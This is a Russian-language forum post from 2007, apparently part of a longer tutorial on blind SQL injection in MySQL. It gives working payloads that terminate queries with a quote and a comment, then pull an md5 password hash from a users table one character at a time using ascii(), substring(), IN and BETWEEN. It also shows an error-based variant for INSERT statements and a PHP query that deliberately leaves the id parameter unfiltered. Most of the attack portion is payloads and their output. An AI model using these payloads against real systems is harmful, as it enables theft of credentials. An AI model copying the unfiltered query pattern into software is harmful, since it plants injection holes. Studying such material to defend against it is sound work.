| Евгений Минаев |
20.12.2007 00:59 |
----[ LETS DO IT ... ]
Когда мы уже знакомы с синтаксисом подзапросов и описанием нужных функций перейдем к делу.Вернемся к нашему скрипту и
внимательно взглянув на запрос,видим что отсутствует фильтрация входящего параметра id.Для проверки подставим одинарную
ковычку,чтобы нарушить структуру запроса и привести его к неправильному виду.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='''
-> 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
Мы можем самостоятельно завершить запрос , подставив ковычку и знак комментария.Изначально в mysql поддерживалось только три
типа комментариев , многострочные /* */ , однострочный # и для совместимости с языком SQL однострочный -- , после которого
обязательно должен идти пробел либо символ перевода строки.Я буду использовать -- , выбор особого значения это не имеет ,
скорее это дело привычки.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='0'-- -> 0
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1'-- -> 1
Так как вывода данных кроме как результата обработки мы не имеем , будем делать перебор каждого символа строки с
его ascii кодом.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='0' or ascii(1)=49-- -> 2
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='0' or ascii(1)=40-- -> 0
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(1)=49-- -> 1
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(1)=48-- -> 0
AND надо использовать в том случае,если первое условие запроса вернет какой либо результат,иначе запрос прервется
еще не дойдя до второго нужного нам условия,а OR если первое условие нашего запроса не возвращает результата.
Каким способом мы будем сравнивать тоже имеет значение,запрос с однотипными данными займет куда меньше времени
нежели сервер будет сам приводить оба к единому типу.
PHP код:
mysql > SELECT 1 > 1 -> 0
PHP код:
mysql > SELECT 7 > '6x' -> 1
PHP код:
mysql > SELECT 7 > 'x6' -> 1
PHP код:
mysql > SELECT 0 = 'x6' -> 1
Возможные типы сравнения в mysql : равенство = , безопасное с точки зрения сравнения с NULL равенство <=> , неравенство <> !=
, меньше и больше < > , меньше или равно и больше или равно <= => соответствено и сравнению с NULL IS NULL , IS NOT NULL.
Для перебора нам надо будет копировать каждый символ строки с помощью функции SUBSTRING , сравнивая его сначала с нулем ,
а затем с набором ascii кодов для нужного типа данных.Узнать такой код можно например с помощью php функции ORD().
Перейдем к практике и вернемся к нашему примеру.В таблице `users` поле password содержит данные в md5 шифровании,что часто
встречается в различных cms и форумах.Это несколько облегчит нашу задача,так как используя функцию lower() и известный набор
символов мы быстро получим результат.Как известно,md5 хеш может состоять только из цифр от единицы до девяти и буквы a,b,c,d,e,f.
Используя навыки обращения с ascii() и substring() составим запрос с подзапросом-выборкой пароля.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1))>0-- -> 1
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1))<0-- -> 0
При больших обьемах перебора будет рационально другой метод сравнения путем использования IN или NOT IN.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) IN(1,2,4,5)-- -> 0
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) IN(51,52,53)-- -> 1
У этого метода по скорости выигрывает BETWEEN , так как выполняется в меньше кол-во тактов.
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) BETWEEN 1 and 5-- -> 0
PHP код:
mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) BETWEEN 51 and 55-- -> 1
То есть вся наша работа сводится к заданию промежутка оптимального количества кодов и если результат положителен,сравнивание
с каждым кодом из диапазона.
Как я уже сказал,вся универсальность метода заключается в том,что он будет работать независимо от оператора,будь то SELECT,
INSERT,UPDATE,DO,DELETE или SET.На всякий случай покажу пример с INSERT.Модифицируем наш запрос до вида,специально оставив
переменную id нефильтруемой.
PHP код:
$query = 'INSERT INTO `users` (id,username,password) VALUES (\''.$_GET['id'].'\',\'example\',\''.md5('example').'\');';
В таком случае наш запрос принимает вид , в случае которого при неудачном условии нам вернется сообщение с ошибкой
Subquery returns more than 1 row,так как выполнится условие 1=select 1 union select 2 что является недопустимым синтаксисом
для mysql.
PHP код:
mysql > INSERT INTO `users` (id,username,password) VALUES ('1','example',1=if(ascii(1)=48,1,(select 1 union select 2)))/* -> 0
PHP код:
mysql > INSERT INTO `users` (id,username,password) VALUES ('1','example',1=if(ascii(1)=49,1,(select 1 union select 2)))/* -> 1
|